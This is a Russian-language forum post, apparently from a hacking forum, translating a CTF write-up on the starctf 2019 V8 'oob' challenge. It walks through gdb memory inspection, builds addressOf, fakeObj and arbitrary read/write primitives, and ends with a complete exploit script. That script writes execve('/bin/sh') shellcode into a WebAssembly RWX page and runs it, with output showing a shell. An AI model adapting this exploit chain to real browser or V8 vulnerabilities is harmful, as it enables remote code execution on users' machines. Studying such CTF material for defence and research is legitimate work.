• XSS.stack #1 – первый литературный журнал от юзеров форума

PWN Изучение эксплойтов V8 с нуля / starctf 2019 OOB / (3)

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Автор: Hcamael@Know Chuangyu 404 Lab
Перевод
статьи

На FreeBuf есть статья "Learn V8 Vulnerability Exploitation from a CTF Question Zero Basics" , думаю она как раз для новичков, по этой статье начал эксплуотировать уязвимость V8.


Код:
$ git clone https://github.com/sixstars/starctf2019.git
$ cd v8
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf2019/pwn-OOB/oob.diff
$ gclient sync -D
$ gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
$ ninja -C out/x64_startctf.release d8

Или вы можете добавить git apply после команды git reset в build.sh, о котором я рассказывал ранее. /starctf2019/pwn-OOB/oob.diff и вы можете использовать build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019 для компиляции в один клик.

Точки уязвимости

Я не буду анализировать исходный код, потому что в вопросе искусственно создана дыра. в obb.diff к переменной добавлена функция oob, которая может читать и записывать 64bit за пределами границ. для проверки:.

Код:
$ cat test.js
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
  return bigUint64[0];
}

function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

var a = [2.1];
var x = a.oob();
console.log("x is 0x"+hex(ftoi(x)));
%DebugPrint(a);
%SystemBreak();
a.oob(2.1);
%SystemBreak();

Отладка с помощью gdb

Код:
x is 0x16c2a4382ed9
0x242d7b60e041 <JSArray[1]>

Возможно, потому что v8 слишком низкая, в этой версии команда DebugPrint выводит только адрес переменной, а не ее структуру, которую можно просмотреть с помощью задания.

Код:
pwndbg> job 0x242d7b60e041
0x242d7b60e041: [JSArray]
 - map: 0x16c2a4382ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x15ae01091111 <JSArray[0]>
 - elements: 0x242d7b60e029 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x061441340c71 <FixedArray[0]> {
    #length: 0x1b8f8e3c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x242d7b60e029 <FixedDoubleArray[1]> {
           0: 2.1
 }
pwndbg> x/8gx 0x242d7b60e029-1
0x242d7b60e028: 0x00000614413414f9 0x0000000100000000
0x242d7b60e038: 0x4000cccccccccccd 0x000016c2a4382ed9
0x242d7b60e048: 0x0000061441340c71 0x0000242d7b60e029
0x242d7b60e058: 0x0000000100000000 0x0000061441340561

Мы можем узнать, что значение x является адресом карты переменной a. В статье о структуре массивов с плавающей точкой говорилось, что после значения идет область памяти структуры этой переменной, поэтому, используя a.oob(), вы можете читать и записывать адрес карты этой переменной, читая 64-битный out of bounds, и в этой версии адрес не сжимается и является 64-битным.

Мы продолжаем выполнять код.

Код:
pwndbg> x/8gx 0x242d7b60e029-1
0x242d7b60e028: 0x00000614413414f9 0x0000000100000000
0x242d7b60e038: 0x4000cccccccccccd 0x4000cccccccccccd
0x242d7b60e048: 0x0000061441340c71 0x0000242d7b60e029
0x242d7b60e058: 0x0000000100000000 0x0000061441340561

Было обнаружено, что через a.oob(2.1);, изменив map-адрес переменной a на 2.1, можно записать 64-битную запись за пределы границ.

Написание exp с помощью шаблона

Напишем функцию addressOf


Сначала напишем функцию addressOf, которая представляет собой функцию, позволяющую получить адрес произвольной переменной путем изменения адреса карты массива obj на адрес карты массива с плавающей точкой.

Код:
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

Далее мы напишем функцию fakeObj, которая изменяет адрес карты массива с плавающей точкой на адрес карты массива объектов, и может подделать объект, поэтому мы можем написать ее следующим образом.

Код:
function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

Полностью exp

Хорошо, я добавил все недостающие части шаблона, но осталась одна проблема. Шаблон написан в соответствии с новой версией v8, которая сжимает все адреса, но в v8 отсутствует сжатие адресов, поэтому есть еще несколько вещей, которые необходимо настроить.
Первая - это функция чтения/записи, поскольку адрес карты занимает 64 бита, а длина занимает 64 бита, поэтому адрес elements находится по адресу value-0x10, поэтому функция чтения/записи нуждается в тонкой настройке.

Код:
function read64(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);

Функция copy_shellcode_to_rwx также должна быть соответствующим образом скорректирована

Код:
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr, ftoi(rwx_addr));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

fake_array также должен быть модифицирован:

Код:
var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];

Необходимо немного изменить смещение для вычисления адреса fake_object_addr

Код:
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);

Процесс получения rwx_addr требует небольшого изменения смещения

Код:
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

После того, как смещения изменены, пришло время консолидировать, и окончательный результат выглядит следующим образом

Код:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function read64(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr, ftoi(rwx_addr));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);

var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

Выполняем EXP:

Код:
$ ./d8 exp.js
[*] leak fake_array addr: 0x8ff3db506f8
[*] leak wasm_instance addr: 0x33312a9e0fd0
[*] leak rwx_page_addr: 0xfc5ec3c6000
[*] buf_backing_store_addr: 0x8ff3db50c10
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх